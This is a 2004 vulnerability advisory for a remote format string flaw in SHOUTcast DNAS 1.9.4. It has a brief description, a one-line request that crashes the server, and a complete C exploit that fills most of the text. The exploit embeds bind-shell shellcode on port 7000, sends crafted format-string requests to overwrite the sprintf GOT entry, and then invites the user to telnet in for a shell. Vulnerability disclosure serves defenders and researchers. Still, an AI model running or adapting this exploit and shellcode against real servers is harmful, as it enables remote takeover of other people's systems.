SHOUTcast remote format string vulnerability

[Damian Put <pucik@xxxxxxxxxxx>]

Product:    SHOUTcast v1.9.4 (and older?)
Vendor:     http://www.shoutcast.com
Vuln:       Remote format string
BugFinder:  Tomasz Trojanowski (onestep)
Author:     Damian Put <pucik@xxxxxxxxxxx> www.CC-Team.org
Date:       Dec 23, 2004


1. BACKGROUND

"SHOUTcast is Nullsoft's Free Winamp-based distributed streaming audio
system. Thousands of broadcasters around the world are waiting for you to
tune in and listen"


2. DESCRIPTION

Remote exploitation of a format string vulnerability could allow execution
of arbitrary code.

A part of request, which was sent by attacker to server, would be included
in second arg of sprintf() function (0x0804adc3 in linux binary). It is
obviously not good from a security viewpoint. We can crash SHOUTcast in a
very easy way, using following request:

http://host:8000/content/%n.mp3

Or reach remote shell thanks to attached exploit`s code.


3. CREDIT

Special thanks: 
Tomasz Trojanowski for information about vulnerability


4. EXPLOIT

/* SHOUTcast DNAS/Linux v1.9.4 format string remote exploit           */
/* Damian Put <pucik@xxxxxxxxxxx> Cyber-Crime Team (www.CC-Team.org)  */
/* Tested on slackware 9.1 and 10.0 (0xbf3feee0)                      */ 
/* When exploit only crash SHOUTcast we should calculate new address: */ 
/*                                                                    */
/* bash-2.05b$ gdb sc_serv core                                       */
/* ...                                                                */
/* (gdb) x/x $edi                                                     */
/* 0xbe462270:     0x78257825                                         */
/* (gdb) x/x 0xbe462270-996                                           */
/* 0xbe461e8c:     0x5050c031                                         */
/*                                                                    */
/* 0xbe461e8c - This is our shellcode addr                            */
/*                                                                    */
/* Now we "only" must change format string code in req2 :-)           */


#include <stdio.h>
#include <stdlib.h>
#include <sys/errno.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netdb.h>
 
/* Default SHOUTcast port */
#define PORT 8000
   
char shellcode[] =  //bindshellcode (port 7000)
      "\x31\xc0\x50\x50\x66\xc7\x44\x24\x02\x1b\x58\xc6\x04\x24\x02\x89\xe6"
      "\xb0\x02\xcd\x80\x85\xc0\x74\x08\x31\xc0\x31\xdb\xb0\x01\xcd\x80\x50"
      "\x6a\x01\x6a\x02\x89\xe1\x31\xdb\xb0\x66\xb3\x01\xcd\x80\x89\xc5\x6a"
      "\x10\x56\x50\x89\xe1\xb0\x66\xb3\x02\xcd\x80\x6a\x01\x55\x89\xe1\x31"
      "\xc0\x31\xdb\xb0\x66\xb3\x04\xcd\x80\x31\xc0\x50\x50\x55\x89\xe1\xb0"
      "\x66\xb3\x05\xcd\x80\x89\xc5\x31\xc0\x89\xeb\x31\xc9\xb0\x3f\xcd\x80"
      "\x41\x80\xf9\x03\x7c\xf6\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62"
      "\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"; 
   
int main(int argc, char *argv[])
{
      int sock;
      char *host;
      struct hostent *h;
      struct sockaddr_in dest;
      
      char req1[1024] = "GET /content/AA"
      /* sprintf GOT addr */
      "\x3c\x49\x06\x08\x3d\x49\x06\x08\x3e\x49\x06\x08\x3f\x49\x06\x08";
      
      strcat(req1, shellcode);
      strcat(req1, ".mp3 HTTP/1.0\r\n\r\n");
      
      /* We cannot use %numberx and %number$n (filtered) */
      /* 0xbf3feee0 -  shellcode addr on slackware 9.1   */
      char *req2 = "GET /content/%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x"
      "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
      "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA-%n-AAAAAAAAAAAA-%n-AAAAAAAAAAAAAAAAAAAAAAAAAAAA"
      "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA-%n-AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
      "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA-%n.mp3"
      " HTTP/1.0\r\n\r\n";
      
      
      printf("SHOUTcast DNAS/Linux v1.9.4 format string remote exploit by pucik www.CC-Team.org\n");
      if(argc < 2)
      {
            printf("Usage: %s <host>\n", argv[0]);
            exit(0);
      }
      
      host = argv[1];
      
      if(!(h = gethostbyname(host)))
      {
            fprintf(stderr, "Cannot get IP of %s, %s!\n", host, strerror(errno));
            exit(-1);
      }

      sock = socket(PF_INET, SOCK_STREAM, 0);
      
      dest.sin_addr=*((struct in_addr*)h->h_addr);
      dest.sin_family = PF_INET;
      dest.sin_port = htons(PORT);
      
      if(connect(sock, (struct sockaddr*)&dest, sizeof(struct sockaddr)) == -1)
      {
            fprintf(stderr, "Cannot connect to %s, %s!\n", host, strerror(errno));
            exit(-1);
      }
      
      printf("[*] Sending first request ...\n");
      write(sock, req1, strlen(req1));
      
      close(sock);
      
      sock = socket(PF_INET, SOCK_STREAM, 0);
      
      if(connect(sock, (struct sockaddr*)&dest, sizeof(struct sockaddr)) == -1)
      {
            fprintf(stderr, "Cannot connect to %s, %s!\n", host, strerror(errno));
            exit(-1);
      }
      
      printf("[*] Sending second request ...\n");
      write(sock, req2, strlen(req2));

      close(sock);
      
      printf("[*] Try telnet %s 7000 :)\n", host);
      
      return 0;
}